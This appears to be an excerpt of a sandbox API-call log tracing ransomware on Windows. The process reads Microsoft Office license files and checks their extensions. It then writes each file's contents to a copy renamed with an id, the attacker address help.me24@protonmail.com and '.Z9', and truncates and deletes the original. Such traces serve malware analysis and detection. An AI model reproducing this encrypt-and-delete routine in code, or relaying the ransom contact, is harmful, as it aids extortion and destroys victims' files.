	[0184.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString=".xls") returned 4
	[0184.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString=".xlsx") returned 5
	[0184.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.006] lstrlenW (lpString=".ppt") returned 4
	[0184.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.006] lstrlenW (lpString=".zip") returned 4
	[0184.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString=".rar") returned 4
	[0184.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString=".bz2") returned 4
	[0184.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString=".7z") returned 3
	[0184.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.006] lstrlenW (lpString=".dbf") returned 4
	[0184.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.006] lstrlenW (lpString=".1cd") returned 4
	[0184.006] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.006] lstrlenW (lpString=".jpg") returned 4
	[0184.006] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.007] lstrlenW (lpString=".doc") returned 4
	[0184.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString=".docx") returned 5
	[0184.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.007] lstrlenW (lpString=".pdf") returned 4
	[0184.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString=".xls") returned 4
	[0184.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString=".xlsx") returned 5
	[0184.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.007] lstrlenW (lpString=".ppt") returned 4
	[0184.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.007] lstrlenW (lpString=".zip") returned 4
	[0184.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString=".rar") returned 4
	[0184.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString=".bz2") returned 4
	[0184.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString=".7z") returned 3
	[0184.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.007] lstrlenW (lpString=".dbf") returned 4
	[0184.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.007] lstrlenW (lpString=".1cd") returned 4
	[0184.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.007] lstrlenW (lpString=".jpg") returned 4
	[0184.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.008] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.008] lstrlenW (lpString="MondoR_Subscription2-pl.xrm-ms") returned 30
	[0184.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.009] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11171) returned 1
	[0184.009] CloseHandle (hObject=0x540) returned 1
	[0184.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220
	[0184.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.009] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.009] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.010] GetLastError () returned 0x0
	[0184.010] ReadFile (in: hFile=0x540, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0184.012] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0184.014] ReadFile (in: hFile=0x540, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.014] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x110, lpOverlapped=0x0) returned 1
	[0184.014] SetEndOfFile (hFile=0x520) returned 1
	[0184.014] CloseHandle (hObject=0x520) returned 1
	[0184.014] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.014] SetEndOfFile (hFile=0x540) returned 1
	[0184.017] CloseHandle (hObject=0x540) returned 1
	[0184.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1
	[0184.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.019] lstrlenW (lpString=".doc") returned 4
	[0184.019] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.019] lstrlenW (lpString=".docx") returned 5
	[0184.019] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.019] lstrlenW (lpString=".pdf") returned 4
	[0184.019] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.019] lstrlenW (lpString=".xls") returned 4
	[0184.019] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.019] lstrlenW (lpString=".xlsx") returned 5
	[0184.019] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.019] lstrlenW (lpString=".ppt") returned 4
	[0184.019] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.019] lstrlenW (lpString=".zip") returned 4
	[0184.019] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.019] lstrlenW (lpString=".rar") returned 4
	[0184.019] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.019] lstrlenW (lpString=".bz2") returned 4
	[0184.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.019] lstrlenW (lpString=".7z") returned 3
	[0184.019] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.020] lstrlenW (lpString=".dbf") returned 4
	[0184.020] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.020] lstrlenW (lpString=".1cd") returned 4
	[0184.020] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.020] lstrlenW (lpString=".jpg") returned 4
	[0184.020] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.020] lstrlenW (lpString=".doc") returned 4
	[0184.020] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString=".docx") returned 5
	[0184.020] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.020] lstrlenW (lpString=".pdf") returned 4
	[0184.020] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString=".xls") returned 4
	[0184.020] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString=".xlsx") returned 5
	[0184.020] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.020] lstrlenW (lpString=".ppt") returned 4
	[0184.020] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.020] lstrlenW (lpString=".zip") returned 4
	[0184.020] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString=".rar") returned 4
	[0184.020] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString=".bz2") returned 4
	[0184.020] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.020] lstrlenW (lpString=".7z") returned 3
	[0184.020] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.020] lstrlenW (lpString=".dbf") returned 4
	[0184.020] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.021] lstrlenW (lpString=".1cd") returned 4
	[0184.021] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0184.021] lstrlenW (lpString=".jpg") returned 4
	[0184.021] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.021] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.021] lstrlenW (lpString="MondoR_Subscription2-ppd.xrm-ms") returned 31
	[0184.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.022] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=32362) returned 1
	[0184.022] CloseHandle (hObject=0x540) returned 1
	[0184.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220
	[0184.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.022] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.022] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.023] GetLastError () returned 0x0
	[0184.023] ReadFile (in: hFile=0x540, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x7e6a, lpOverlapped=0x0) returned 1
	[0184.034] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0184.036] ReadFile (in: hFile=0x540, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.036] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x112, lpOverlapped=0x0) returned 1
	[0184.036] SetEndOfFile (hFile=0x520) returned 1
	[0184.036] CloseHandle (hObject=0x520) returned 1
	[0184.037] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.037] SetEndOfFile (hFile=0x540) returned 1
	[0184.040] CloseHandle (hObject=0x540) returned 1
	[0184.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1
	[0184.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.526] lstrlenW (lpString=".doc") returned 4
	[0184.526] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.526] lstrlenW (lpString=".docx") returned 5
	[0184.526] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.526] lstrlenW (lpString=".pdf") returned 4
	[0184.526] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.526] lstrlenW (lpString=".xls") returned 4
	[0184.526] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.526] lstrlenW (lpString=".xlsx") returned 5
	[0184.526] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.526] lstrlenW (lpString=".ppt") returned 4
	[0184.526] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.526] lstrlenW (lpString=".zip") returned 4
	[0184.526] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.526] lstrlenW (lpString=".rar") returned 4
	[0184.526] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.526] lstrlenW (lpString=".bz2") returned 4
	[0184.526] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString=".7z") returned 3
	[0184.527] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.527] lstrlenW (lpString=".dbf") returned 4
	[0184.527] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.527] lstrlenW (lpString=".1cd") returned 4
	[0184.527] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.527] lstrlenW (lpString=".jpg") returned 4
	[0184.527] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.527] lstrlenW (lpString=".doc") returned 4
	[0184.527] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString=".docx") returned 5
	[0184.527] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.527] lstrlenW (lpString=".pdf") returned 4
	[0184.527] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString=".xls") returned 4
	[0184.527] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString=".xlsx") returned 5
	[0184.527] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.527] lstrlenW (lpString=".ppt") returned 4
	[0184.527] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.527] lstrlenW (lpString=".zip") returned 4
	[0184.527] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString=".rar") returned 4
	[0184.527] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString=".bz2") returned 4
	[0184.527] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.527] lstrlenW (lpString=".7z") returned 3
	[0184.527] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.527] lstrlenW (lpString=".dbf") returned 4
	[0184.528] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.528] lstrlenW (lpString=".1cd") returned 4
	[0184.528] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0184.528] lstrlenW (lpString=".jpg") returned 4
	[0184.528] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.528] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.528] lstrlenW (lpString="MondoR_Trial-ppd.xrm-ms") returned 23
	[0184.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.529] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=26585) returned 1
	[0184.529] CloseHandle (hObject=0x4a4) returned 1
	[0184.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220
	[0184.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.530] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.530] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.531] GetLastError () returned 0x0
	[0184.532] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x67d9, lpOverlapped=0x0) returned 1
	[0184.543] WriteFile (in: hFile=0x548, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x67e0, lpOverlapped=0x0) returned 1
	[0184.545] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.545] WriteFile (in: hFile=0x548, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x102, lpOverlapped=0x0) returned 1
	[0184.545] SetEndOfFile (hFile=0x548) returned 1
	[0184.546] CloseHandle (hObject=0x548) returned 1
	[0184.546] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.546] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.552] CloseHandle (hObject=0x4a4) returned 1
	[0184.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
